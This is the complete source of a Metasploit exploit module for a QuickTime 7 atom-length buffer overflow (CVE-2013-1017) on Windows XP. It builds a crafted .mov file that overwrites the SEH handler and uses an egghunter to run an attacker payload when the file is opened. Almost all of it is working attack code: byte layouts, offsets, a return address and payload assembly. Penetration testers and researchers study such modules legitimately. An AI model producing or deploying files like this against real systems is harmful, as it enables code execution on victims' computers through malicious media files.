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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::FILEFORMAT
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  include Msf::Exploit::Egghunter
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow",
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      'Description'    => %q{
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        This module exploits a vulnerability found in Apple QuickTime. The flaw is
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        triggered when QuickTime fails to properly handle the data length for certain
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        atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer
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        overflow by loading a specially crafted .mov file, and allows arbitrary
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        code execution under the context of the current user. Please note: Since an egghunter
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        is used to search for the payload, this may require additional time for
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        the exploit to complete.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Jason Kratzer', # Original Discovery & PoC (overlapped finding), aka pyoor
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          'Tom Gallagher', # Original Discovery (overlapped)
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          'Paul Bates',    # Original Discovery (overlapped)
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          'sinn3r'         # Metasploit
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        ],
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      'References'     =>
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        [
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          [ 'CVE', '2013-1017' ],
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          [ 'OSVDB', '93625' ],
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          [ 'BID', '60097' ],
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          [ 'URL', 'http://support.apple.com/kb/HT5770' ],
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          [ 'ZDI', '13-110' ]
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        ],
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          # Ret = P/P/R in Quicktime.qtx
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          # Tested on:
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          # Quicktime 7.7.0
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          # Quicktime 7.7.1
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          # Quicktime 7.7.2
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          # Quicktime 7.7.3
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          [ 'Quicktime 7.7.0 - 7.7.3 on Windows XP SP3', {'Ret' => 0x66801042 } ]
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        ],
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      'Payload'        =>
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        {
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          'BadChars' => "\x00"
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        },
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      'Privileged'     => false,
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      'DisclosureDate' => '2013-05-22',
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      'DefaultTarget'	 => 0
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    ))
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    register_options(
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      [
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        OptString.new('FILENAME', [ true, 'The file name.',  'msf.mov']),
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      ])
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  end
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  def sort_bytes(data)
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    buf = ''
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    0.step(data.length, 2) do |i|
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      buf << data[i, 2].reverse
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    end
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    buf
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  end
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  def exploit
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    fsize = 0
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    badchars   = payload_badchars
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    hunter,egg = generate_egghunter(payload.encoded,badchars,{:checksum=>true})
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    buf  = ''
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    buf << "\x61" * 5                                  # Make sure our NOPs don't cause AV
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    buf << sort_bytes(make_nops(4))                    # Pad 9 bytes to ensure alignment
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    buf << sort_bytes(hunter)                          # egg huntin'
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    buf << rand_text_alpha(607 - buf.length)           # Offset 607 to nSEH
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    buf << sort_bytes("\xeb\x06#{rand_text_alpha(2)}") # nSEH
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    buf << sort_bytes([target.ret].pack("V*"))         # SE Handler
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    buf << sort_bytes("\xe9\x95\xfd\xff\xff\xff")      # Jmp to egghunter
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    buf << rand_text_alpha(50)                         # After SEH, only ~33 bytes
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    buf << egg                                         # Should be found somewhere else
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    # Quicktime File Format Specifications:
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    # https://developer.apple.com/standards/qtff-2001.pdf
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    mov  = "\x00\x00\x06\xDF"    # File size
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    mov << "moov"                # Movie atom
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    mov << "\x00\x00\x06\xD7"    # size (1751d)
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    mov << "rmra"                # Reference Movie atom
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    mov << "\x00\x00\x06\xCF"    # size (1743d)
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    mov << "rmda"                # rmda atom
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    mov << "\x00\x00\x06\xBF"    # size (1727d)
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    mov << "rdrf"                # Data reference atom
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    mov << "\x00\x00\x00\x00"    # size set to 0
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    mov << "alis"                # Data reference type: FS alias record
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    mov << "\x00\x00\x06\xAA"    # Size (1706d)
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    mov << rand_text_alpha(8)
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    mov << "\x00\x00\x06\x61"    # Size (1633d)
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    mov << rand_text_alpha(38)
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    mov << "\x12"
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    mov << rand_text_alpha(81)
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    mov << "\xFF\xFF"
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    mov << rand_text_alpha(18)
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    mov << "\x00\x08"            # Size (8d)
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    mov << rand_text_alpha(8)
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    mov << "\x00\x00"
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    mov << "\x00\x08"            # Size (8d)
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    mov << rand_text_alpha(8)
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    mov << "\x00\x00"
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    mov << "\x00\x26"            # Size (38d)
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    mov << rand_text_alpha(38)
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    mov << "\x00\x0F\x00\x0E"
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    mov << "AA"                  # Size (must be invalid)
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    mov << rand_text_alpha(12)
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    mov << "\x00\x12\x00\x21"
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    mov << rand_text_alpha(36)
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    mov << "\x00"
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    mov << "\x0F\x33"
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    mov << rand_text_alpha(17)
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    mov << "\x02\xF4"            # Size (756h)
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    mov << rand_text_alpha(756)
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    mov << "\xFF\xFF\x00\x00\x00"
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    fsize += mov.length
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    mov << buf
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    fsize += buf.length
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    mov[0,4] = [fsize].pack("N")
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    print_status("Creating #{datastore['FILENAME']}")
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    file_create(mov)
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  end
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end
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